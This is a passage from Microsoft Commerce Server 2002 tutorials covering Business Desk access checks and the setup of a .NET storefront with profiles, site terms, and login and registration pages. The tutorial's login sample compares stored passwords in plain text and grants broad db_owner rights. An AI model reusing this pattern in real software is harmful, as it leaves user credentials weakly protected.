    • If you receive the message "The page cannot be displayed," try substituting the IP address of the Commerce Server computer for the computer name. This error can result from the computer name not resolving to the IP address, which is expected if your workstation computer is not in the same domain as the Business Desk computer.

    The Connect to <computername> dialog box appears.

  4. In the Connect to <computername> dialog box, do the following:
    Use this | To do this
    User name Type <domainname>OffMachAdmin,

    where <domainname> is the name of your Windows domain.
    Password | Type OpenSesame.
  5. Click OK.

    The first time each user accesses Business Desk, the Browse for Folder dialog box appears. This folder is used to contain the .hta file that is created when you first access Business Desk. A shortcut to this file also appears on your desktop.

  6. In the Browse for Folder dialog box, select the folder where you want the .hta file to reside, and then click OK.
  7. In Internet Explorer, in the Status window, click Start Business Desk.

    The message "Loading Please Wait" appears, and then the Commerce Server: Welcome to Business Desk screen appears. Notice that only the Catalogs module appears in Business Desk. This is because you granted access to only the Catalogs module and Catalog Editor sub-module for the OffMachAdmin user in Lesson 6: Granting Delegated Administrators Limited Access to Business Desk.

  8. Expand the Catalogs module, and then click Catalog Editor.

    The Catalogs screen appears. Notice that the New task does not appear in the toolbar. This is because you denied access to creating new catalogs in Step 1: Granting Limited Access for the OffMachAdmin Account.

  9. In the Catalogs screen, in the Name column, select Office Supplies from the list.

    Notice that Open catalog, in the toolbar, is not available. This is because you restricted access to the Office Supplies catalog for the OffMachAdmin account.

  10. Click Deselect All to deselect the Office Supplies catalog.
  11. In the Catalogs screen, in the Name column, select Virtual Catalog from the list.

    Notice that Open Catalog, in the toolbar, is not available. This is because you restricted access to the virtual catalog for the OffMachAdmin account.

  12. Click Deselect All to deselect the virtual catalog.
  13. In the Catalogs screen, in the Name column, select Office Machines from the list.

    Notice that all tasks in the toolbar, including the Open Catalog task, are available.

  14. Click Open Catalog to open the Office Machines catalog.
  15. In the Catalog Content – Office Machines (English – United States) screen, in the Products section, click Find Now.

    The Pen and Pencil products that you created in Lab 3 appear in the Products list box.

  16. To return to the Catalogs screen, click back on the toolbar.
  17. Close Business Desk, and then close the browser.

You have verified that the OffMachAdmin Windows account has access to only the Office Machines base catalog. Proceed to Step 2: Verifying access for the OffSuppAdmin account.


Step 2: Verifying access for the OffSuppAdmin account

  1. Using the same workstation computer, open Internet Explorer.
  2. In Internet Explorer, in the Address text box, type http://<computername>supplieradbizdesk where <computername> is the name or IP address of your Commerce Server computer, and then press ENTER.

    Note

    • If you receive the message "The page cannot be displayed," try substituting the IP address for the computer name.
  3. In the Connect to <computername> dialog box, do the following:
    Use this | To do this
    User name Type <domainname>\OffSuppAdmin,

    where <domainname> is the name of your Windows domain.
    Password | Type OpenSesame2.
  4. Click OK.

    The first time a particular user accesses Business Desk using Internet Explorer, the Browse for Folder dialog box appears. This folder is used to contain the .hta file that is created when you access Business Desk using IE. A shortcut to this file also appears on your desktop.

  5. In the Browse for Folder dialog box, select the folder you wish to contain the .hta file and then click OK.
  6. In Internet Explorer, in the Status window, click Start Business Desk.

    The message "Loading Please Wait" appears, and then the Commerce Server: Welcome to Business Desk screen appears. Notice that only the Catalogs module appears in Business Desk. You granted access to only the Catalogs module and Catalog Editor sub-module for this user in Lesson 6: Granting Delegated Administrators Limited Access to Business Desk.

  7. Expand the Catalogs module and then click Catalog Editor.

    The Catalogs screen appears. Notice that the New task does not appear in the toolbar. This is because you denied permission to create new catalogs in Step 2: Granting Limited Access for the OffSuppAdmin Account.

  8. In the Catalogs screen, in the Name column, select Office Machines from the list.

    Notice that Open catalog, in the toolbar, is not available. This is because you restricted access to the Office Machines catalog for the OffSuppAdmin account.

  9. Click Deselect All to clear the Office Machines catalog check box.
  10. In the Catalogs screen, in the Name column, select Virtual Catalog from the list.

    Notice that Open catalog, in the toolbar, is not available. This is because you restricted access to this catalog for the OffSuppAdmin account.

  11. Click Deselect All to clear the virtual catalog check box.
  12. In the Catalogs screen, in the Name column, select Office Supplies from the list.

    Notice that all tasks in the toolbar, including the Open Catalog task, are available.

  13. Click Open Catalog to open the Office Supplies catalog.
  14. In the Catalog Content – Office Supplies (English – United States) screen, in the Products section, click Find Now.

    The Printer products that you created in Lab 3 appear in the Products list box.

  15. To return to the Catalogs screen, click back .

You have verified that the OffSuppAdmin Windows account has access to only the Office Supplies base catalog.

You have now completed all Labs for the Business-to-Business Tutorial.


Commerce Server Developer Tutorials

Commerce Server includes the following developer tutorials:

  • Commerce Server .NET Application Framework Tutorial. Provides step-by-step procedures for using the Commerce Server .NET Application Framework and Microsoft Visual Studio .NET to implement user management features, authentication, catalogs, order basket, pipelines, and campaigns.
  • Exploring the International Retail Site. Describes the main features of the site from the perspective of a user.


Commerce Server .NET Application Framework Tutorial

Microsoft Commerce Server 2002 provides tight integration with Microsoft Visual Studio .NET. This enables developers to make use of the integrated development environment to build and manage Commerce Server applications, and to use Microsoft .NET Application Framework and its tools.

The intended audience for this tutorial is the developer, and its goal is to provide limited exposure to the Visual Studio .NET integrated development environment as it is used with Commerce Server. It does not cover the entire functionality and features provided in the product.

Before you begin this tutorial, you must have installed both Microsoft Commerce Server 2002 with its .NET components and Microsoft Visual Studio .NET installed.

After following this step-by-step tutorial, you will be able to use the .NET features in Commerce Server 2002 to do the following:

  • Register and authenticate on your Web site
  • Build and implement your product catalog
  • Use orders, baskets, and pipelines
  • Target users with marketing campaigns
  • Use debugging and tracing features

Notes

  • The code samples provided in the tutorial are used to demonstrate Commerce Server 2002 functionality only and should not be considered best practices.
  • If you copy and paste the sample code provided in the tutorial, the correct formatting may be lost. To preserve the correct formatting, paste the sample code in Notepad before you paste it in Microsoft Visual Studio .NET.

This tutorial contains:

  • Preparing to Use the Tutorial
  • Lab 1: Implementing User Management and Authentication
  • Lab 2: Building and Implementing a Catalog
  • Lab 3: Implementing the Basket and Order Pipelines
  • Lab 4: Implementing Marketing Campaigns
  • Lab 5: Debugging Commerce Server 2002 in ASP.NET


Preparing to Use the Tutorial

Before you begin the tutorial, you need to do the following:

  • Create a New Commerce Server 2002 Project
  • Copy the Required Files
  • Edit XML Catalog Properties
  • Configure Permissions for the ASPNET User
  • Configure Commerce Server 2002 Databases
  • Install Commerce Server 2002 Business Desk


Create a New Commerce Server2002 Project

Send feedback about this page Commerce Server 2002

Create a New Commerce Server 2002 Project

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, in the Profile box, select Visual C# Developer from the drop-down list, and then, in the left navigation menu, click Get Started.
  3. Click New Project.
  4. In the New Project dialog box, do the following:
    Use this | To do this
    Project Types | Select Commerce Projects.
    Templates | From the list, select Commerce C# ASP.NET Web Application.
    Location | Type http://localhost/NorthwindTraders.
  5. Click OK. The Commerce Server Project Wizard starts.
  6. In the Welcome page, click Next.
  7. In the Quick Unpack dialog box, select the Use Windows Integrated security option, and then click Next.
  8. In the Data Warehouse dialog box, in the Name box, type NorthwindTraders_dw, and then click OK.
  9. In the Profiling System dialog box, click Next.
  10. In the second Profiling System dialog box, click OK.
  11. In the Commerce Server Site Packager dialog box, click OK.

A new Commerce Project in Visual C# is created.


Copy the Required Files

  1. Using Windows Explorer, navigate to the \Support\NET Tutorial Data\ folder on the Commerce Server 2002 CD.
  2. Copy the Pipelines folder to <drive>:\InetPub\wwwroot\NorthwindTraders\.
  3. Create the image folder under <drive>:\InetPub\wwwroot\NorthwindTraders\.
  4. Copy the following image files from the Catalog Data folder to <drive:>\InetPub\wwwroot\NorthwindTraders\image folder:
    • corner_up_lft.gif
    • header_black.jpg
    • header_banner.gif
    • right.gif
    • spacer.gif
    • spacer_tan.gif
  5. Copy the contents of the folder Catalog Items to the <drive>:\InetPub\wwwroot\NorthwindTraders\image folder.
  6. Create the campaign folder under <drive>:\InetPub\wwwroot\NorthwindTraders\image.
  7. Copy the contents of the \Catalog Data\Campaign Items folder to the <drive>:\InetPub\wwwroot\NorthwindTraders\image\campaign folder.


Edit XML Catalog Properties

  1. Using Windows Explorer, navigate to <drive>:\InetPub\wwwroot\NorthwindTraders\image, and then open the residentialSiding.xml catalog in Notepad.
  2. Using Notepad, change the following property attributes:
    Property Name | MinValue | MaxValue
    Name | 1 | 200
    SKU | 1 | 20
    Description | 1 | 4000
  3. Save the XML catalog.
  4. Using Windows Explorer, navigate to the <drive>:\InetPub\wwwroot\NorthwindTraders\image folder, and then open the electrical.xml catalog in Notepad.
  5. Using Notepad, change the following property attributes:
    Property Name | MinValue | MaxValue
    Name | 1 | 200
    SKU | 1 | 20
    Description | 1 | 4000
  6. Save the XML catalog.


Configure Permissions for the ASPNET User

  1. Using the Windows Explorer, navigate to the <drive>:\InetPub\wwwroot\NorthwindTrader\Pipelines folder, right-click the log folder, and then click Properties.
  2. In the log Properties dialog box, in the Security tab, click Add.
  3. In the Select Users, Computers, or Groups dialog box, do the following:
    Use this | To do this
    Look in | Select your computer name from the drop-down list.
    Name | Select the ASPNET from the list.
  4. Click Add, and then click OK.
  5. In the log Properties dialog box, in the Security tab, grant the ASPNET user Full Control, and then click OK.


Configure Commerce Server 2002 Databases

  1. Click Start, point to Programs, point to Microsoft SQL Server and then click Enterprise Manager.
  2. In the SQL Enterprise Manager window, expand Microsoft SQL Servers, expand SQL Server Group, expand Databases, right-click NorthwindTraders_dw, point to New and then select Database User from the list.
  3. In the Database User Properties – New User dialog box, do the following:
    Use this | To do this
    Login name | Select the <Server Name>\ASPNET user account from the drop-down list.
    User name | Type <Server Name>\ASPNET.
    db_owner | Select this option from the list.
  4. Click OK.
  5. Repeat steps 2 through 4 for the following databases:
    • MSCS_Admin
    • MSCS_CatalogScratch
    • NorthwindTraders_commerce


Install Commerce Server 2002 Business Desk

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type http://localhost/NorthwindTradersBizdesk, and then press Enter.
  3. In the Browse for Folder dialog box, accept the default folder, or select another folder to store the HTML Application (HTA) file, and then click OK.

    The Business Desk Client Setup begins. If the Microsoft ActiveX controls have not been downloaded, troubleshooting tips are displayed in the upper section of the Business Desk Client Setup screen. Microsoft ActiveX controls are needed to install the Business Desk Client.

    In the lower section of the screen, check marks appear when each task is complete. When all four tasks are complete, the Business Desk installation is complete. A link to Business Desk is displayed at the bottom of the screen.

    Note

    • If you are unable to download the ActiveX controls, follow the instructions on the Business Desk Client Setup screen.
  4. When you have completed the Business Desk installation, close Internet Explorer.

The Business Desk icon now appears as a shortcut on your desktop and the Start menu.


Lab 1: Implementing User Management and Authentication

Using Commerce Server 2002 and the .NET development environment, you can customize user profiles to include user properties that meet your business needs. Using Visual Studio .NET, you can customize user profiles and map them to your Web applications for content personalization. For example, you can personalize your Web site based upon common characteristics (custom attributes) of your users, such as, age, gender, country, language, and so forth.

To add custom attributes you do the following:

  1. Allocate space within Microsoft SQL Server to store the custom attributes.
  2. Extend the user profile by adding data members.
  3. Create a new profile property for each new data member.
  4. Create the new site terms custom attributes.
  5. Link site terms to the User Object in the Profiles database.

    Note

  • If you are using a string data type for your custom field then you do not have to perform steps 4 and 5.

In this lab you will learn how to create custom user profile attributes, extend user profiles using Visual Studio .NET, add registered users in the Commerce Server Users Profile Database, create pages for authentication, log off, and new user registration.

This section contains:

  • Step 1: Create Custom User Profiles Attributes
  • Step 2: Extend the User Profile Using Visual Studio .NET
  • Step 3: Create Custom Properties
  • Step 4: Create New Site Terms
  • Step 5: Link the Site Terms Using Visual Studio .NET
  • Step 6: Create a New User Using Visual Studio .NET
  • Step 7: Add User Login and Logoff Pages
  • Step 8: Add a New User Registration Page


Step 1: Create Custom User Profiles Attributes

In this step you will create new database columns for two new user attributes (gender and user description).

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand <Server Name>, expand Databases, expand NorthwindTraders_commerce, and then click Tables.

    Note

    • Make sure your SQL Server service has been started before proceeding to the following steps.
  3. In the tables list, right-click UserObject, and then select Design Table.

    In the Design Table 'UserObject' in 'NorthwestTraders_commerce' on <Server Name> window, scroll down to the bottom of the list, and then add the following two data members:

    Column Name | Data Type | Length | Allow Nulls
    u_gender | varchar | 10 | Yes
    u_userDescription | varchar | 20 | Yes

    Note

    • The Design Table displays all the data members present in the selected table.
  4. To save the data members click Save on the toolbar.
  5. Close Commerce Server Manager.


Step 2: Extend the User Profile Using Visual Studio .NET

In this step you will link the data members in the Commerce Server Profile Database with the Commerce Server Profiling System.

The data members created in Step 1 are the metadata that point to a database column in the user profile data. You must now create associated data members that point to the database column.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Commerce Server Manager.
  5. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Profiles(<Server Name>_NorthwindTraders_commerce), expand Profiles Catalog, expand Data Sources, expand ProfileService_SQLSource, expand Data Objects, right-click UserObject, and then select New Data Member.
  6. In the New Data Member dialog box, do the following:
    Use this | To do this
    Member Name | Select the u_gender data member from the list.
    Display Name | Type Gender.
    Type | Select the String data type for the data member.
  7. Click Add.
  8. In the New Data Member dialog box, do the following:
    Use this | To do this
    Member Name | Select the u_userDescription data member from the list.
    Display Name | Type User Description.
    Type | Select the String data type for the data member.
  9. Click Add, and then click Finish.


Step 3: Create Custom Properties

After you create additional columns for the User Object table and associate them with data members in Commerce Server Manager in Step 2, you create the actual profile attribute.

In the step you create a new profile property for each of the new data member.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Commerce Server Manager.
  5. In the Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Profiles(<Server Name>_NorthwindTraders_commerce), expand Profile Catalog, expand Profile Definitions, and then click User Object.

    Note

    • The User Object contains all the attributes of the User Profile.
  6. In the content pane, in the Properties list, expand General Information, and then click Add.
  7. In the Add – Web Page Dialog dialog box, select the Add a new property option from the list, and then click OK.
  8. In the Attributes section, do the following:
    Use this | To do this
    Name | Type u_gender.
    Display name | Type Gender.
    Description | Type a description for the property.
  9. In the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Select Yes to specify that the new property is Active.
    Map to data Click the ellipsis […] button to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, expand ProfileService_SQLSource, expand User Object, and then select Gender (STRING) from the list.

    The data members available for the property are the data members that are not already used in the profile definition you are editing. Properties that are being used by the profile definition are unavailable.

    If you do not map the property to a data member, the property will not be stored in a database, but will be available in memory, for example to store state information while a user is visiting your Web site.

  10. Click OK to close the Data Source Picker dialog box, and then click Apply.
  11. Click Save on the toolbar to save the Gender property to the General Information for the User Object.
  12. In the content pane, in the Properties list, select General Information, and then click Add.
  13. In the Add – Web Page Dialog dialog box, select the Add a new property option from the list, and then click OK.
  14. In the Attributes section, do the following:
    Use this | To do this
    Name | Type u_userDescription.
    Display name | Type User Description.
    Description | Type a description for the property.
  15. In the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Select Yes to specify that the new property is Active.
    Map to data Click the ellipsis […] button to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, expand ProfileService_SQLSource, expand User Object, and then select User Description (STRING) from the list.

  16. Click OK to close the Data Source Picker dialog box, and then click Apply.
  17. Click Save on the toolbar to save the User Description property to the General Information for the User Object.
  18. Close Commerce Server Manager.


Step 4: Create New Site Terms

Site terms are lists of the specific values that are pertinent to your site. You use a site term to assign this list of values to a property as an attribute. Using site terms you can standardize the values that are used throughout your site and to target products and advertisements to your users. You can also apply site terms to profile properties.

In this step, you will create a Gender site term, and define female and male as the possible values. When you create the profile property named Gender, and set the site term data type, only one of the possible values can be assigned to the profile.

After you have created your site terms, you will set up a user profile to include the site terms so you can later target an advertisement to those site users who match the user profile.

  1. Open the NorthwindTraders Business Desk.
  2. In Profiles, click Site Terms Editor.
  3. In the Site Terms Editor screen, select User Site Terms from the list, and then click Add.
  4. In the Add dialog box, select Add a new group from the list, and then click OK.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type PersonalInfo.
    Display name | Type Personal Information.
  6. Click Apply.
  7. In the Site term structure section, select Personal Information from the list, and then click Add.
  8. In the Add dialog box, select Add a new site-term from the list, and then click OK.
  9. In the Site Terms Editor screen, in the Site Term Attributes section, do the following:
    Use this | To do this
    Name | Type u_gender.
    Display Name | Type Gender.
  10. Click Apply.
  11. In the Site Terms Editor screen, in the Terms section, click New and then, do the following:
    Use this | To do this
    Term Name | Type Male as the name for the new term.
    Display Name | Type Male.
  12. To add the new term to the site term and display it in the term list, click Accept.
  13. In the Site Terms Editor screen, in the Terms section, click New and then, do the following:
    Use this | To do this
    Term Name | Type Female as the name for the new term.
    Display Name | Type Female.
  14. To add the new term to the site term and display it in the term list, click Accept.
  15. Click Apply, and the then click Save on the toolbar.
  16. In the Site term structure section, select Personal Info from the list, and then click Add.
  17. In the Add dialog box, select Add a new site-term from the list, and then click OK.
  18. In the Site Terms Editor screen, in the Site Term Attributes section, do the following:
    Use this | To do this
    Name | Type u_userDescription.
    Display Name | Type User Description.
  19. Click Apply.
  20. In the Site Terms Editor screen, in the Terms section, click New and then do the following:
    Use this | To do this
    Term Name | Type entrepreneur as the name for the new term.
    Display Name | Type Entrepreneur.
  21. To add the new term to the site term and display it in the term list, click Accept.
  22. In the Site Terms Editor screen, in the Terms section, click New and then, do the following:
    Use this | To do this
    Term Name | Type contractor as the name for the new term.
    Display Name | Type Contractor / Commercial Business.
  23. To add the new term to the site term and display it in the term list, click Accept.
  24. Click Apply, and the then click Save and go back on the toolbar.


Step 5: Link the Site Terms Using Visual Studio .NET

After you create new site terms using the Business Desk, you link them to user properties in the Commerce Server Profiles System using Visual Studio .NET.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Profile Definition Designer.
  5. In the Profiles screen, select the User Object from the list, and then click Open on the Business Desk toolbar.
  6. In the Properties list, expand General Information, and then select Gender from the list.
  7. In the Attributes section, do the following:
    Use this | To do this
    Type | Select the Site Term property type from the drop-down list.
    Type reference | Click the ellipsis Ellipsis button to open the Site Term Selection dialog box.
  8. In the Site Term Selection -- Web Page Dialog dialog box, expand User Site Terms, expand Personal Info, select Gender from the list, and then click OK.
  9. In Custom Attributes section, select sUserAccess from the list, click Edit, and change the Value to 1.

    Note

    • The sUserAcess custom attribute specifies registered user access to the property in the Customer Service page of the Web site. The value options for this custom attribute are as follows:

      0 = Hide from registered users

      1 = Read only

      2 = Editable

  10. Click Accept, and then click Apply.
  11. In the Properties list, under General Information, select User Description.
  12. In the Attributes section, do the following:
    Use this | To do this
    Type | Select the Site Term property type from the drop-down list.
    Type reference | Click the ellipsis Ellipsis button to open the Site Term Selection dialog box.
  13. In the Site Term Selection -- Web Page Dialog dialog box, expand User Site Terms, expand Personal Information, select User Description from the list, and the click OK.
  14. In Custom Attributes section, select sUserAccess from the list, click Edit, and change the Value to 1.
  15. Click Accept, and then click Apply.
  16. Click Save and go back on the toolbar.
  17. Perform an IIS Reset.

To verify that your changes are saved correctly, go back and view the User Object using Commerce Server Manager.


Step 6: Create a New User Using Visual Studio .NET

In Commerce Server Business Desk Profiles, you use the Users module to create, find, and update user profile information, such as assigning a user a new password. You use the Profile Definition Designer module to update the types of information you collect on your Web site.

The profile definition consists of profile properties, attributes, and optionally, site terms. Profile properties are the characteristics that specify the profile data to be collected, and each profile property has attributes. Attributes provide information about the property, such as, the data type of the property. For example, number, text, decimal, and site term. Attributes also provide information if the property is single-valued (for example, only one First Name is allowed), multi-valued, or indexed. The indexed attribute lets a user visiting the Web site to perform a search using the given property.

In this step you will add a new user using the Visual Studio .NET Integrated Commerce Server 2002 Components.

Note

  • If you have changed the properties in the User Object profile, your New User screen may not contain the same properties that are shown in this procedure.
  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Profiles, click Users.
  6. In the User Object screen, click New on the toolbar.
  7. In the New User Object screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type Mark.
    User password | Type password as the password for the new user.
    E-mail | Type mark.lee@microsoft.com.
    User type Select Registered user from the drop-down list.

    Typically, you will only create registered users.
    User title | Type Mr.
    Last name | Type Lee.
    First name | Type Mark.
    Telephone number | Type 425-555-5555.
    Telephone extension | Leave this blank.
    Fax number | Leave this blank.
    Fax extension | Leave this blank.
    Default Language | Select English from the drop-down list.
    Gender | Select Male from the drop-down list.
    User Description | Select Contractor / Commercial Business from the drop-down list.
  8. In the Account Info section, do the following:
    Use this | To do this
    Organization ID | Leave this blank.
    Account status From the drop-down list, specify Active Account.

    The default status is Active Account. Users with inactive accounts are not able to log in to your site.
    User catalog set From the drop-down list, select Registered User Default CatalogSet.

    This option limits the user Mark to ordering from the selected catalog set.

  9. In the Partner Service section, do the following:
    Use this | To do this
    Partner service role flags | From the drop-down list, select Normal User.
  10. To save the new user profile and return to the User Object screen, click Save and go back on the toolbar.

The new user profile is saved.


Step 7: Add User Login and Logoff Pages

In this step, you will add both user login and logoff pages to your Web site. Step-by-step instructions are provided to use the Visual Studio .NET interface and Commerce Server 2002 objects.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Login.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms box, drag and drop a Label object onto the form.
  8. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type userNameLabel.
    Text | Type Username:.
    Font | Expand this property.
    Bold | Select True from the drop-down list.
  9. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  10. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordLabel.
    Text | Type Password:.
    Font | Expand this property.
    Bold | Select True from the drop-down list.
  11. In the Toolbox window, in the Web Forms list, drag and drop a Button object onto the form.
  12. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type loginBtn.
    Text | Type Login.
    Font | Expand this property.
    Bold | Select True from the drop-down list.
  13. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Username label object.
  14. In the Properties window, make sure the object you just created is selected, and then in the ID property box type userName.
  15. In the Toolbox window, in the Web Forms list, drag and drop another TextBox object onto the form, and place it right next to the Password label object.
  16. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type password.
    TextMode Select Password from the drop-down list.

    This option will hide the contents of the text box.
  17. In the Toolbox window, in the Web Forms list, drag and drop a Label object onto the form, and place it right under the Login button object.
  18. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type messageLabel.
    Text | Clear the contents.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  20. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx.cs window, in the using section, add the following lines of code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;
  21. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, in the Solution Explorer - NorthwindTraders window, click View Designer.
  22. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, double-click the Login button.
  23. Press F5 to build the solution. A blank Default.aspx appears in the browser.
  24. Close the Internet browser.
  25. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, in the LoginBtn_Click event, add the following lines of code:
    AuthenticationInfo authInfo = CommerceContext.Current.AuthenticationInfo;
Profile prof;
ProfileContext profContext = CommerceContext.Current.ProfileSystem;
string pwd;

try
{
   prof = profContext.GetProfile(userName.Text, "UserObject");

   pwd = (string)prof.Properties["GeneralInfo.user_security_password"].Value;
   if(string.Compare(pwd, password.Text)==0)
   {
      //Extract the user's ID
      string userID = (string)prof.Properties["GeneralInfo.user_id"].Value;
      //Set the authorization ticket.
      authInfo.SetAuthTicket(userID, true, 200);
      //Create the profile ticket.
      authInfo.SetProfileTicket(userID, true);
      Response.Redirect("default.aspx");
   }

}
catch(Exception)
{
   messageLabel.Text = "Login failed!";
}
  26. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click Login.aspx, and then select Set As Start Page.
  27. Press F5 to build and execute the project.

    The Internet Browser displays the login page.

  28. Close the Internet Browser window.
  29. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  30. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Logoff.aspx, and then click Open.
  31. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Logoff.aspx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  32. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Logoff.aspx.cs window, in the Using section, add the following lines of code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;
  33. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Logoff.aspx window, in the Page_Load() method, add the following lines of code:
    if(null != CommerceContext.Current.AuthenticationInfo.AuthTicket)
{
   CommerceContext.Current.AuthenticationInfo.AuthTicket.SignOut();
}
Response.Redirect("default.aspx");


Step 8: Add a New User Registration Page

In this step you will create a user registration page for the new users on your Web site. Using the registration page, users will create a login ID, specify their password, and any other custom attributes you specify.

To create a user registration page, you first create the UserRegistration.aspx Web form, and then add references to the Commerce Server 2002 objects as indicated in the following procedure.

In this step you will do the following:

  1. Insert Commerce Server classes.
  2. Design the UserRegistration.aspx page.
  3. Insert code into the submit_Click() handler.
  4. Insert code into the Page_Load() handler.
  5. Set UserRegistration.aspx as the start page.

To insert Commerce Server classes

To design the UserRegistration.aspx page

To insert code into the submit_Click() handler

To insert code into the Page_Load() handler

To set UserRegistration.aspx as the start page

To insert Commerce Server classes

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type UserRegistration.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  7. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, in the using section, add the following lines of code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;

To design the UserRegistration.aspx page

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx window, click View on the toolbar, and then click Toolbox.
  2. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  3. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type userNameLabel.
    Text | Type Username:.
  4. In the Toolbox window, in the Web Forms section, drag and drop another Label object onto the form.
  5. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordLabel.
    Text | Type Password:.
  6. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  7. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordRetypeLabel.
    Text | Type Confirm Password:.
  8. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  9. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type firstNameLabel.
    Text | Type First Name:.
  10. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  11. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type lastNameLabel.
    Text | Type Last Name:.
  12. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  13. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type genderLabel.
    Text | Type Gender:.
  14. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
